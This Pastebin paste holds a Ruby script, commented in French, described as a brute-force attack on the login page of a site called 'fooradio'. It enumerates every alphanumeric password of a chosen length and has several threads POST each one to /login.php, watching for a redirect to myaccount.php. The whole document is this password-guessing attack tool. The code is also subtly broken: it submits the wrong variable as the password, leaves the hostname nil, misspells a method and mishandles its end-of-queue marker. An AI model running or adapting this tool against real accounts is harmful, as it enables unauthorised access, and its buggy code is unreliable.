Advertisement
Guest User

Untitled

a guest
Aug 28th, 2016
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 3.92 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. # coding: utf-8
  3.  
  4. =begin
  5.   Description: Attaque par force brute de l'authentification;
  6. =end
  7.  
  8. ### Chargement des librairies;
  9.  
  10. require 'net/http'
  11. require 'thread'
  12.  
  13. ### Définition des méthodes;
  14.  
  15. # Affiche sur la sortie standard une aide;
  16. def usage
  17.   puts "Bruteforce passwords for fooradio"
  18.   puts "Usage: #{$0} <username> <password_length>"
  19. end
  20.  
  21. # Test les mots de passe;
  22. # http_con ==> Connexion au serveur http;
  23. # username ==> Nom de l'utilisateur;
  24. # passwords ==> File de mots de passe;
  25. # pwd_found ==> Evnmt mot de passe trouvé;
  26. # stdout_lock ==> Verrou pour la sortie standard
  27. def check_passwords(http_con, username, passwords,pwd_found, stdout_lock)
  28.   post_req = Net::HTTP::Post.new('/login.php')
  29.   loop do
  30.     break if pwd_found.found?  # Sortir si le mot de passe a été trouvé;
  31.     pwd = passwords.pop  # Récupérer un element
  32.     if pwd.is_a?(EndOfBruteForce)
  33.       # La fin de la force brute a été atteinte;
  34.       break  # Sortie de la boucle;
  35.     else
  36.       post_req.set_form_data({'user' => username, 'pass' => pwd_found})
  37.       post_resp = http_con.request post_req  # Envoi de la requête
  38.       if post_resp.code.eql?('200') and post_resp['Location'].eql?('myaccount.php')
  39.         pwd_found.found = 1
  40.         stdout_lock.synchronize { puts "[+] Password found: #{pwd}" }
  41.         break  # Sortie du programme
  42.       end
  43.     end
  44.   end
  45. end
  46.  
  47. # Génère des mots de taille "size"
  48. def bruteforce(size, &block)
  49.   alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  50.   old_prefixes = ['']
  51.   size.times do |count|
  52.     new_prefixes = []
  53.     old_prefixes.each do |prefix|  # Parcours des anciens prefixes
  54.       alphabet.each_char do |char|
  55.         new_prefix = prefix + char
  56.         if count == size - 1
  57.           block.call new_prefix
  58.         else
  59.           new_prefixes << new_prefix
  60.         end
  61.       end  # Fin alphabet.each_char
  62.     end  # Fin de old_prefixes.each
  63.     old_prefixes = new_prefixes
  64.   end  # Fin de size.times
  65. end
  66.  
  67. ### Définition des classes;
  68.  
  69. # Représente l'evnmt mot de passe trouvé
  70. class PasswordFound
  71.   # Constructeur
  72.   def initialize
  73.     @password_found = false
  74.     @password_lock = Mutex.new
  75.   end
  76.   # Retourne true si le mot de passe a été trouvé, false sinon
  77.   def found?
  78.     @password_lock.synchronize { return @password_found }
  79.   end
  80.   # Setter
  81.   def found=(value)
  82.     @password_found = value
  83.   end
  84. end  # Fin PasswordFound
  85.  
  86. # Représente la fin de la force brute
  87. class EndOfBruteForce
  88. end  # Fin EndOfPasswords
  89.  
  90.  
  91. ### Partie principale
  92.  
  93. if ARGV.size < 2
  94.   # L'utilisateur n'a pas saisi les bons arguments;
  95.   usage
  96.   exit -1  # Sortie du programme;
  97. else
  98.   username,pwd_len = ARGV[0], ARGV[1].to_i
  99.   hostname = nil
  100.   passwords_to_test = Queue.new # File de mots de passe à tester
  101.   num_consumer_threads = 5  # Nombre de threads consomateurs;
  102.   pwd_found = PasswordFound.new
  103.   stdout_lock = Mutex.new # Verrou pour la sortie standard;
  104.   threads = []
  105.   # Remplir la file de mots de passe
  106.   producer_thread  = Thread.start do
  107.     bruteforce(pwd_len) do |password|
  108.       passwords_to_test << password unless pwd_found.found?
  109.     end # Fin de bruteforce
  110.     num_consumer_threads.times { passwords_to_test << EndOfBruteForce }  # Empoisonnement de la file
  111.   end  # Fin
  112.   threads << producer_thread
  113.   # Etablir des connections au serveur
  114.   num_consumer_threads.times do |thread_id|
  115.     consumer_thread = Thread.start(thread_id) do |thread_id|
  116.       http_con = Net::HTTP.new(hostname)
  117.       http_con.start
  118.       stdout_lock.synchonize { puts "Thread #{thread_id} established connection to server #{hostname}" }
  119.       check_passwords(http_con, username, passwords_to_test, pwd_found, stdout_lock)
  120.     end
  121.   threads << consumer_thread
  122.   end # Fin de num_consumer_threads.times
  123.   threads.each { |thread| thread.join }  # Attendre la fin des threads
  124.   puts "[-] No password was found!" if not pwd_found.found?
  125. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement